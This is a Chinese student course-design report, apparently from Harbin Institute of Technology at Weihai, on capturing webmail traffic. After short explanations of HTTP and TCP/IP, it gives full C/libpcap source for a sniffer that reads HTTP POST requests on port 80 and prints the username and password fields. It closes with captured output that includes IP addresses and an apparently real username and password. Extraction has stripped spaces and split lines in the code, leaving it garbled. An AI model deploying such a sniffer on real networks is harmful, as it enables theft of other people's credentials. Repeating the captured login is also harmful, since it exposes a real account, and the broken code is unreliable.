信息安全课设哈工大.docx
《信息安全课设哈工大.docx》由会员分享,可在线阅读,更多相关《信息安全课设哈工大.docx(10页珍藏版)》请在冰点文库上搜索。
信息安全课设哈工大
HarbinInstituteofTechnologyatWeihai
WebMail解析
作者:
院系:
计算机科学与技术
班级:
学号:
指导老师:
需要源程序的留下联系方式
哈尔滨工业大学(威海)
二零一二年六月
目录
1.前言3
2.涉及的协议简介:
3
2.1HTTP协议简介:
3
2.2TCP/IP协议简介:
4
3.程序设计思想:
4
4.程序函数设计:
5
5.webmail监控源程序5
6.相应截图及说明9
1.前言
随着网络的发展和普及,浏览网页、QQ聊天、电子留言、电子邮件己经深入人们的生活。
在众多的现代通信方式中,电子邮件(E-mail)己经成为了其中的重要组成部分。
当电子邮件给人们带来极大便利的同时,也带来了一系列的不安全因素:
有害信息的广泛传播、国家和企业机密的泄露等。
为了控制和减少这些不安全因素的发生,需要建立一系列的安全机制。
对传输内容的监控是较为重要的一种,在监控的过程中,对传输内容的还原又是最重要的一步。
此次实验目的是捕获webmail的登录账号与密码等信息。
2.涉及的协议简介:
2.1HTTP协议简介:
超文本传送协议(HTTP)是一种通信协议,它允许将超文本标记语言(HTML)文档从Web服务器传送到Web浏览器。
HTML是一种用于创建文档的标记语言,这些文档包含到相关信息的链接。
您可以单击一个链接来访问其它文档、图像或多媒体对象,并获得关于链接项的附加信息。
HTTP工作在TCP/IP协议体系中的TCP协议上。
客户机和服务器必须都支持HTTP,才能在万维网上发送和接收HTML文档并进行交互。
HTTP是一个属于应用层的面向对象的协议,由于其简捷、快速的方式,适用于分布式超媒体信息系统。
它于1990年提出,经过几年的使用与发展,得到不断地完善和扩展。
前一段时间用的是HTTP/1.0,现在WWW中使用的是HTTP/1.1。
而且HTTP-NG(NextGenerationofHTTP)的建议已经提出。
HTTP主要特征:
1.支持客户/服务器模式。
2.简单快速:
客户向服务器请求服务时,只需传送请求方法和路径。
请求方法常用的有GET、HEAD、POST。
每种方法规定了客户与服务器联系的类型不同。
由于HTTP协议简单,使得HTTP服务器的程序规模小,因而通信速度很快。
3.灵活:
HTTP允许传输任意类型的数据对象。
正在传输的类型由Content-Type加以标记。
4.无连接:
无连接的含义是限制每次连接只处理一个请求。
服务器处理完客户的请求,并收到客户的应答后,即断开连接。
采用这种方式可以节省传输时间。
5.无状态:
HTTP协议是无状态协议。
无状态是指协议对于事务处理没有记忆能力。
缺少状态意味着如果后续处理需要前面的信息,则它必须重传,这样可能导致每次连接传送的数据量增大。
另一方面,在服务器不需要先前信息时它的应答就较快。
2.2TCP/IP协议简介:
TransmissionControlProtocol/InternetProtocol的简写,中译名为传输控制协议/因特网互联协议,又名网络通讯协议,Internet最基本的协议、Internet国际互联网络的基础,由网络层的IP协议和传输层的TCP协议组成。
TCP/IP定义了电子设备如何连入因特网,以及数据如何在它们之间传输的标准。
协议采用了4层的层级结构,一层都呼叫它的下一层所提供的网络来完成自己的需求。
通俗而言:
TCP负责发现传输的问题,一有问题就发出信号,要求重新传输,直到所有数据安全正确地传输到目的地。
而IP是给因特网的每一台电脑规定一个地址。
3.程序设计思想:
1.解析http,还原出tcp报文。
2.解析tcp,还原出ip报文。
3.解析ip报文。
4.查找post报文,找到username和password,把其中的参数打印出来。
5.分析目的地址,源地址以及端口。
6.设置循环,进行捕包。
4.程序函数设计:
1.http协议数据包解析函数:
voidhttp_callback。
2.tcp协议数据包解析函数:
voidtcp_protocol_packet_callback。
3.ip协议数据包解析函数:
voidip_protocol_packet_callback。
4.以太网数据包解析:
voidethernet_protocol_packet_callback。
5.webmail监控源程序
#include"packet.h"
#include
voidhttp_callback(u_char*arg,conststructpcap_pkthdr*pcaket_header,constu_char*packet_content,u_intlen)
{
constu_char*p=packet_content+14+20+len;
charbuf[1025];
charbuf1[1025];
inti=0;
u_char*ps=strstr(p,"POST");
if(ps!
=NULL)
{
while(*ps++&&i<12)
{
if(*ps=='\n')
i++;
printf("%c",*ps);
}
}
//找到username出现的位置
ps=strstr(p,"username=");
if(ps!
=NULL){
//printf("%s",ps);
sscanf(ps,"username=%[^&]&password=%[^&]&",buf,buf1);
printf("username:
%s\npassword:
%s\n",buf,buf1);
}
printf("-----------------------------------------------------\n");
}
voidtcp_protocol_packet_callback(u_char*argument,conststructpcap_pkthdr*
packet_header,constu_char*packet_content)
{
structtcp_header*tcp_protocol;
u_inthead_length;
u_shortsource_port;
u_shortdestination_port;
tcp_protocol=(structtcp_header*)(packet_content+14+20);
source_port=ntohs(tcp_protocol->tcp_source_port);
destination_port=ntohs(tcp_protocol->tcp_destination_port);
head_length=tcp_protocol->tcp_offset*4;
printf("sourceport:
%d\n",source_port);
printf("destinationport:
%d\n",destination_port);
switch(destination_port)
{
case80:
http_callback(argument,packet_header,packet_content,head_length);
break;
default:
break;
}
}
voidip_protocol_packet_callback(u_char*argument,conststructpcap_pkthdr*packet_header,
constu_char*packet_content)
{
structip_header*ip_protocol;
ip_protocol=(structip_header*)(packet_content+14);
printf("sourceaddress:
%s\n",inet_ntoa(ip_protocol->ip_source_address));
printf("destinationaddress:
%s\n",inet_ntoa(ip_protocol->ip_destination_address));
//如果是TCP协议
switch(ip_protocol->ip_protocol)
{
case6:
tcp_protocol_packet_callback(argument,packet_header,packet_content);
break;
default:
break;
}
}
voidethernet_protocol_packet_callback(u_char*argument,conststructpcap_pkthdr*packet_header,
constu_char*packet_content)
{
u_shortethernet_type;
structether_header*ethernet_protocol;
ethernet_protocol=(structether_header*)packet_content;
ethernet_type=ntohs(ethernet_protocol->ether_type);
//如果是IP数据包,则作进一步处理
switch(ethernet_type)
{
case0x0800:
printf("-----------------------------------------------------\n");
ip_protocol_packet_callback(argument,packet_header,packet_content);
break;
default:
break;
}
}
intmain()
{
pcap_t*pcap_handle;
charerror_content[PCAP_ERRBUF_SIZE];
char*net_interface;
structbpf_programbpf_filter;
//设置过滤字符串
charbpf_filter_string[]="tcpport80";
bpf_u_int32net_mask;
bpf_u_int32net_ip;
//获取可用的网络设备
net_interface=pcap_lookupdev(error_content);
pcap_lookupnet(net_interface,&net_ip,&net_mask,error_content);
//打开设备
pcap_handle=pcap_open_live(net_interface,20480,1,0,error_content);
//编译过滤规则
pcap_compile(pcap_handle,&bpf_filter,bpf_filter_string,0,net_ip);
pcap_setfilter(pcap_handle,&bpf_filter);
//是否为以太网
if(pcap_datalink(pcap_handle)!
=DLT_EN10MB)
return;
//循环捕包
pcap_loop(pcap_handle,-1,ethernet_protocol_packet_callback,NULL);
pcap_close(pcap_handle);
}
6.相应截图及说明
1.编译产生可执行文件watchwebmail。
2.运行watchwenbmail抓捕数据并把结果放入1.log日志文件中。
2.从1log中找到有用信息,例如目的地址,源地址,账号密码信息。
Ps:
如图可知sourceaddress(源地址):
172.31.159.56
Destinationaddress(目的地址):
61.125.250.99
Sourceport(源端口):
43732
Destinationport(目的端口):
80
Username:
huangchongyuan89
Password:
hcy090420226